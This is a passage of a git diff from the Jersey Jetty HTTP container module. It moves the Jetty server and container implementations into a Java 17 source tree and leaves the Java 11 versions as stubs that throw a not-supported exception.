http server. The URI scheme must be * equal to {@code https}. The URI user information and host * are ignored. If the URI port is not present then port - * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * {@value Container#DEFAULT_HTTPS_PORT} will be * used. The URI path, query and fragment components are ignored. * @param sslContextFactory this is the SSL context factory used to configure SSL connector * @param handler the container that handles all HTTP requests @@ -239,81 +224,6 @@ final SslContextFactory.Server sslContextFactory, final JettyHttpContainer handler, final boolean start) { - if (uri == null) { - throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL()); - } - final String scheme = uri.getScheme(); - int defaultPort = Container.DEFAULT_HTTP_PORT; - - if (sslContextFactory == null) { - if (!"http".equalsIgnoreCase(scheme)) { - throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP()); - } - } else { - if (!"https".equalsIgnoreCase(scheme)) { - throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS()); - } - defaultPort = Container.DEFAULT_HTTPS_PORT; - } - final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort(); - - final Configuration configuration = handler != null ? handler.getConfiguration() : null; - final Server server = new Server(new JettyConnectorThreadPool(configuration)); - final HttpConfiguration config = new HttpConfiguration(); - if (sslContextFactory != null) { - config.setSecureScheme("https"); - config.setSecurePort(port); - config.addCustomizer(new SecureRequestCustomizer()); - - final ServerConnector https = new ServerConnector(server, - new SslConnectionFactory(sslContextFactory, "http/1.1"), - new HttpConnectionFactory(config)); - https.setPort(port); - server.setConnectors(new Connector[]{https}); - - } else { - final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config)); - http.setPort(port); - server.setConnectors(new Connector[]{http}); - } - if (handler != null) { - server.setHandler(handler); - } - - if (start) { - try { - // Start the server. - server.start(); - } catch (final Exception e) { - throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e); - } - } - return server; - } - - // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html - // #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory) - // - // Keeping this for backwards compatibility for the time being - private static final class JettyConnectorThreadPool extends QueuedThreadPool { - private final ThreadFactory threadFactory; - - private JettyConnectorThreadPool(Configuration configuration) { - final LoomishExecutors executors = VirtualThreadUtil.withConfig(configuration, false); - if (executors.isVirtual()) { - super.setMaxThreads(Integer.MAX_VALUE - 1); - } - - this.threadFactory = new ThreadFactoryBuilder() - .setNameFormat("jetty-http-server-%d") - .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler()) - .setThreadFactory(executors.getThreadFactory()) - .build(); - } - - @Override - public Thread newThread(Runnable runnable) { - return threadFactory.newThread(runnable); - } + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } }
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java new file mode 100644 index 0000000..70fcc56 --- /dev/null +++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -0,0 +1,80 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; + +import java.util.concurrent.CompletableFuture; + +/** + * Jersey {@code Server} implementation based on Jetty + * {@link org.eclipse.jetty.server.Server Server}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +final class JettyHttpServer implements WebServer { + + private final JettyHttpContainer container; + + private final org.eclipse.jetty.server.Server httpServer; + + JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) { + this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration); + } + + JettyHttpServer(final Class<? extends Application> applicationClass, + final JerseySeBootstrapConfiguration configuration) { + this(new JettyHttpContainer(applicationClass), configuration); + } + + JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public final JettyHttpContainer container() { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public final int port() { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public final CompletableFuture<Void> start() { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public final CompletableFuture<Void> stop() { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + + @Override + public final <T> T unwrap(final Class<T> nativeClass) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + +}
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java new file mode 100644 index 0000000..c555e92 --- /dev/null +++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -0,0 +1,489 @@ +/* + * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import java.io.OutputStream; +import java.lang.reflect.Type; +import java.net.URI; +import java.net.URISyntaxException; +import java.security.Principal; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentLinkedQueue; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.ScheduledFuture; +import java.util.concurrent.ScheduledThreadPoolExecutor; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.GenericType; +import jakarta.ws.rs.core.SecurityContext; + +import jakarta.inject.Inject; +import jakarta.inject.Provider; + +import org.eclipse.jetty.http.HttpField; +import org.eclipse.jetty.http.HttpHeader; +import org.eclipse.jetty.io.Content; +import org.eclipse.jetty.security.AuthenticationState; +import org.eclipse.jetty.server.Handler; +import org.eclipse.jetty.util.Callback; +import org.eclipse.jetty.util.thread.Scheduler; +import org.glassfish.jersey.internal.MapPropertiesDelegate; +import org.glassfish.jersey.internal.inject.AbstractBinder; +import org.glassfish.jersey.internal.inject.ReferencingFactory; +import org.glassfish.jersey.internal.util.ExtendedLogger; +import org.glassfish.jersey.internal.util.collection.Ref; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.process.internal.RequestScoped; +import org.glassfish.jersey.server.ApplicationHandler; +import org.glassfish.jersey.server.ContainerException; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.internal.ContainerUtils; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.ContainerResponseWriter; + +import org.eclipse.jetty.server.Request; +import org.eclipse.jetty.server.Response; + +/** + * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}. + * + * @author Arul Dhesiaseelan (aruld@acm.org) + * @author Libor Kramolis + * @author Marek Potociar + */ +public final class JettyHttpContainer extends Handler.Abstract implements Container { + + private static final ExtendedLogger LOGGER = + new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST); + + private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType(); + private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType(); + + private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(); + private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST; + + /** + * Cached value of configuration property + * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}. + * If {@code true} method {@link Response#setStatus(int)} is used over {@link Response#writeError(Request, Response, Callback, int)} + */ + private boolean configSetStatusOverSendError; + + /** + * Referencing factory for Jetty request. + */ + private static class JettyRequestReferencingFactory extends ReferencingFactory<Request> { + @Inject + public JettyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) { + super(referenceFactory); + } + } + + /** + * Referencing factory for Jetty response. + */ + private static class JettyResponseReferencingFactory extends ReferencingFactory<Response> { + @Inject + public JettyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) { + super(referenceFactory); + } + } + + /** + * An internal binder to enable Jetty HTTP container specific types injection. + * This binder allows to inject underlying Jetty HTTP request and response instances. + * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor, + * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via + * {@link jakarta.inject.Provider injection provider}. + */ + private static class JettyBinder extends AbstractBinder { + + @Override + protected void configure() { + bindFactory(JettyRequestReferencingFactory.class).to(Request.class) + .proxy(false).in(RequestScoped.class); + bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {}) + .in(RequestScoped.class); + + bindFactory(JettyResponseReferencingFactory.class).to(Response.class) + .proxy(false).in(RequestScoped.class); + bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {}) + .in(RequestScoped.class); + } + } + + private volatile ApplicationHandler appHandler; + + @Override + public boolean handle(Request request, Response response, Callback callback) throws Exception { + + final ResponseWriter responseWriter = new ResponseWriter(request, response, callback, configSetStatusOverSendError); + try { + LOGGER.debugLog(LocalizationMessages.CONTAINER_STARTED()); + final URI baseUri = getBaseUri(request); + final URI requestUri = getRequestUri(request, baseUri); + final ContainerRequest requestContext = new ContainerRequest( + baseUri, + requestUri, + request.getMethod(), + getSecurityContext(request), + new MapPropertiesDelegate(), + appHandler.getConfiguration()); + requestContext.setEntityStream(Request.asInputStream(request)); + request.getHeaders().forEach(httpField -> + requestContext.headers(httpField.getName(), httpField.getValue() == null ? "" : httpField.getValue())); + requestContext.setWriter(responseWriter); + requestContext.setRequestScopedInitializer(injectionManager -> { + injectionManager.<Ref<Request>>getInstance(REQUEST_TYPE).set(request); + injectionManager.<Ref<Response>>getInstance(RESPONSE_TYPE).set(response); + }); + + appHandler.handle(requestContext); + return true; + } catch (URISyntaxException e) { + setResponseForInvalidUri(request, response, callback, e); + return true; + } catch (final Exception ex) { + callback.failed(ex); + throw new RuntimeException(ex); + } + } + + private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException { + final String serverAddress = getServerAddress(baseUri); + String uri = request.getHttpURI().getPath(); + + final String queryString = request.getHttpURI().getQuery(); + if (queryString != null) { + uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString); + } + + return new URI(serverAddress + uri); + } + + private void setResponseForInvalidUri(final Request request, final Response response, + final Callback callback, final Throwable throwable) { + LOGGER.log(Level.FINER, "Error while processing request.", throwable); + + if (configSetStatusOverSendError) { + response.reset(); + response.setStatus(BAD_REQUEST_STATUS.getStatusCode()); + callback.failed(throwable); + } else { + Response.writeError(request, response, callback, BAD_REQUEST_STATUS.getStatusCode(), + BAD_REQUEST_STATUS.getReasonPhrase(), throwable); + } + } + + private String getServerAddress(URI baseUri) { + String serverAddress = baseUri.toString(); + if (serverAddress.charAt(serverAddress.length() - 1) == '/') { + return serverAddress.substring(0, serverAddress.length() - 1); + } + return serverAddress; + } + + private SecurityContext getSecurityContext(final Request request) { + + AuthenticationState.Succeeded authenticationState = AuthenticationState.authenticate(request); + + return new SecurityContext() { + + @Override + public boolean isUserInRole(final String role) { + return authenticationState != null && authenticationState.isUserInRole(role); + } + + @Override + public boolean isSecure() { + return request.isSecure(); + } + + @Override + public Principal getUserPrincipal() { + return authenticationState != null ? authenticationState.getUserIdentity().getUserPrincipal() : null; + } + + @Override + public String getAuthenticationScheme() { + return authenticationState != null ? authenticationState.getAuthenticationType() : null; + } + }; + } + + + private URI getBaseUri(final Request request) throws URISyntaxException { + return new URI(request.getHttpURI().getScheme(), null, Request.getServerName(request), + Request.getServerPort(request), getBasePath(request), null, null); + } + + private String getBasePath(final Request request) { + final String contextPath = Request.getContextPath(request); + + if (contextPath == null || contextPath.isEmpty()) { + return "/"; + } else if (contextPath.charAt(contextPath.length() - 1) != '/') { + return contextPath + "/"; + } else { + return contextPath; + } + } + + private static class ResponseWriter implements ContainerResponseWriter { + + private final Request request; + private final Response response; + private final Callback callback; + private final boolean configSetStatusOverSendError; + private final long asyncStartTimeNanos; + private final Scheduler scheduler; + private final ConcurrentLinkedQueue<TimeoutHandler> timeoutHandlerQueue = new ConcurrentLinkedQueue<>(); + private Scheduler.Task currentTimerTask; + + ResponseWriter(final Request request, final Response response, + final Callback callback, final boolean configSetStatusOverSendError) { + this.request = request; + this.response = response; + this.callback = callback; + this.asyncStartTimeNanos = System.nanoTime(); + this.configSetStatusOverSendError = configSetStatusOverSendError; + + this.scheduler = request.getComponents().getScheduler(); + } + + private synchronized void setNewTimeout(long timeOut, TimeUnit timeUnit) { + long timeOutNanos = timeUnit.toNanos(timeOut); + if (currentTimerTask != null) { + // Do not interrupt, see callTimeoutHandlers() + currentTimerTask.cancel(); + } + // Use System.nanoTime() as the clock source here, because the returned value is not prone to wall-clock + // drift - unlike System.currentTimeMillis(). + long delayNanos = Math.max(asyncStartTimeNanos - System.nanoTime() + timeOutNanos, 0L); + currentTimerTask = scheduler.schedule(this::callTimeoutHandlers, delayNanos, TimeUnit.NANOSECONDS); + } + + private void callTimeoutHandlers() { + // Note: Although it might not happen in practice, it is in theory possible that this function is + // called multiple times concurrently. To prevent any timeout handler being called twice, we poll() + // timeout handlers from the queue, instead of iterating over the queue. + while (true) { + TimeoutHandler handler = timeoutHandlerQueue.poll(); + if (handler == null) { + break; + } + handler.onTimeout(ResponseWriter.this); + } + } + + @Override + public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context) + throws ContainerException { + + final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo(); + + final int code = statusInfo.getStatusCode(); + + response.setStatus(code); + + if (contentLength != -1 && contentLength < Integer.MAX_VALUE && !"HEAD".equals(request.getMethod())) { + response.getHeaders().add(new HttpField(HttpHeader.CONTENT_LENGTH, String.valueOf((int) contentLength))); + } + for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) { + for (final String value : e.getValue()) { + response.getHeaders().add(new HttpField(e.getKey(), value)); + } + } + + return Content.Sink.asOutputStream(response); + } + + @Override + public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) { + if (timeOut > 0) { + setNewTimeout(timeOut, timeUnit); + } + if (timeoutHandler != null) { + timeoutHandlerQueue.add(timeoutHandler); + } + return true; + } + + @Override + public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException { + if (timeOut > 0) { + setNewTimeout(timeOut, timeUnit); + } + } + + @Override + public void commit() { + callback.succeeded(); + LOGGER.log(Level.FINEST, "commit() called"); + } + + @Override + public void failure(final Throwable error) { + try { + if (!response.isCommitted()) { + try { + if (configSetStatusOverSendError) { + response.reset(); + response.setStatus(INTERNAL_SERVER_ERROR); + callback.failed(error); + } else { + Response.writeError(request, response, callback, INTERNAL_SERVER_ERROR, "Request failed.", error); + } + } catch (final IllegalStateException ex) { + // a race condition externally committing the response can still occur... + LOGGER.log(Level.FINER, "Unable to reset failed response.", ex); + } + } + } finally { + LOGGER.log(Level.FINEST, "failure(...) called"); + rethrow(error); + } + } + + @Override + public boolean enableResponseBuffering() { + return false; + } + + /** + * Rethrow the original exception as required by JAX-RS, 3.3.4. + * + * @param error throwable to be re-thrown + */ + private void rethrow(final Throwable error) { + if (error instanceof RuntimeException) { + throw (RuntimeException) error; + } else { + throw new ContainerException(error); + } + } + + } + + @Override + public ResourceConfig getConfiguration() { + return appHandler.getConfiguration(); + } + + @Override + public void reload() { + reload(new ResourceConfig(getConfiguration())); + } + + @Override + public void reload(final ResourceConfig configuration) { + appHandler.onShutdown(this); + + appHandler = new ApplicationHandler(configuration.register(new JettyBinder())); + appHandler.onReload(this); + appHandler.onStartup(this); + cacheConfigSetStatusOverSendError(); + } + + @Override + public ApplicationHandler getApplicationHandler() { + return appHandler; + } + + /** + * Inform this container that the server has been started. + * This method must be implicitly called after the server containing this container is started. + * + * @throws java.lang.Exception if a problem occurred during server startup. + */ + @Override + protected void doStart() throws Exception { + super.doStart(); + appHandler.onStartup(this); + } + + /** + * Inform this container that the server is being stopped. + * This method must be implicitly called before the server containing this container is stopped. + * + * @throws java.lang.Exception if a problem occurred during server shutdown. + */ + @Override + public void doStop() throws Exception { + super.doStop(); + appHandler.onShutdown(this); + appHandler = null; + + boolean needInterrupt = false; + if (needInterrupt) { + Thread.currentThread().interrupt(); + } + } + + private static final AtomicInteger TIMEOUT_HANDLER_ID_GEN = new AtomicInteger(); + + /** + * Create a new Jetty HTTP container. + * + * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container. + * @param parentContext DI provider specific context with application's registered bindings. + */ + JettyHttpContainer(final Application application, final Object parentContext) { + this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext); + } + + /** + * Create a new Jetty HTTP container. + * + * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container. + */ + JettyHttpContainer(final Application application) { + this.appHandler = new ApplicationHandler(application, new JettyBinder()); + + cacheConfigSetStatusOverSendError(); + } + + /** + * Create a new Jetty HTTP container. + * + * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container. + */ + JettyHttpContainer(final Class<? extends Application> applicationClass) { + this.appHandler = new ApplicationHandler(applicationClass, new JettyBinder()); + + cacheConfigSetStatusOverSendError(); + } + + /** + * The method reads and caches value of configuration property + * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes. + */ + private void cacheConfigSetStatusOverSendError() { + this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(), + ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class); + } + +}
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java new file mode 100644 index 0000000..cb66f21 --- /dev/null +++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -0,0 +1,319 @@ +/* + * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import java.net.URI; +import java.util.concurrent.ThreadFactory; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Configuration; + +import org.glassfish.jersey.innate.VirtualThreadUtil; +import org.glassfish.jersey.innate.virtual.LoomishExecutors; +import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.Container; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.HttpConnectionFactory; +import org.eclipse.jetty.server.SecureRequestCustomizer; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; +import org.eclipse.jetty.server.SslConnectionFactory; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.eclipse.jetty.util.thread.QueuedThreadPool; + +/** + * Factory for creating and starting Jetty server handlers. This returns + * a handle to the started server as {@link Server} instances, which allows + * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method. + * <p/> + * To start the server in HTTPS mode an {@link SslContextFactory} can be provided. + * This will be used to decrypt and encrypt information sent over the + * connected TCP socket channel. + * + * @author Arul Dhesiaseelan (aruld@acm.org) + * @author Marek Potociar + */ +public final class JettyHttpContainerFactory { + + private JettyHttpContainerFactory() { + } + + /** + * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri) throws ProcessingException { + return createServer(uri, null, null, true); + } + + /** + * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @param start if set to false, server will not get started, which allows to configure the underlying transport + * layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final boolean start) throws ProcessingException { + return createServer(uri, null, null, start); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * <p/> + * This implementation defers to the + * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final ResourceConfig config) + throws ProcessingException { + + final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config); + return createServer(uri, null, container, true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * <p/> + * This implementation defers to the + * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be + * used as context path, the rest will be ignored. + * @param configuration web application configuration. + * @param start if set to false, server will not get started, which allows to configure the underlying + * transport layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start) + throws ProcessingException { + return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start); + } + + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * @since 2.12 + */ + public static Server createServer(final URI uri, final ResourceConfig config, final boolean start, + final Object parentContext) { + return createServer(uri, null, new JettyHttpContainer(config, parentContext), start); + } + + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * @since 2.12 + */ + public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) { + return createServer(uri, null, new JettyHttpContainer(config, parentContext), true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * <p/> + * This implementation defers to the + * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param config the resource configuration. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory, + final ResourceConfig config) + throws ProcessingException { + final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config); + return createServer(uri, sslContextFactory, container, true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes found by searching the + * classes referenced in the java classpath. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param handler the container that handles all HTTP requests + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + */ + public static Server createServer(final URI uri, + final SslContextFactory.Server sslContextFactory, + final JettyHttpContainer handler, + final boolean start) { + if (uri == null) { + throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL()); + } + final String scheme = uri.getScheme(); + int defaultPort = Container.DEFAULT_HTTP_PORT; + + if (sslContextFactory == null) { + if (!"http".equalsIgnoreCase(scheme)) { + throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP()); + } + } else { + if (!"https".equalsIgnoreCase(scheme)) { + throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS()); + } + defaultPort = Container.DEFAULT_HTTPS_PORT; + } + final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort(); + + final Configuration configuration = handler != null ? handler.getConfiguration() : null; + final Server server = new Server(new JettyConnectorThreadPool(configuration)); + final HttpConfiguration config = new HttpConfiguration(); + if (sslContextFactory != null) { + config.setSecureScheme("https"); + config.setSecurePort(port); + config.addCustomizer(new SecureRequestCustomizer()); + + final ServerConnector https = new ServerConnector(server, + new SslConnectionFactory(sslContextFactory, "http/1.1"), + new HttpConnectionFactory(config)); + https.setPort(port); + server.setConnectors(new Connector[]{https}); + + } else { + final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config)); + http.setPort(port); + server.setConnectors(new Connector[]{http}); + } + if (handler != null) { + server.setHandler(handler); + } + + if (start) { + try { + // Start the server. + server.start(); + } catch (final Exception e) { + throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e); + } + } + return server; + } + + // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html + // #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory) + // + // Keeping this for backwards compatibility for the time being + private static final class JettyConnectorThreadPool extends QueuedThreadPool { + private final ThreadFactory threadFactory; + + private JettyConnectorThreadPool(Configuration 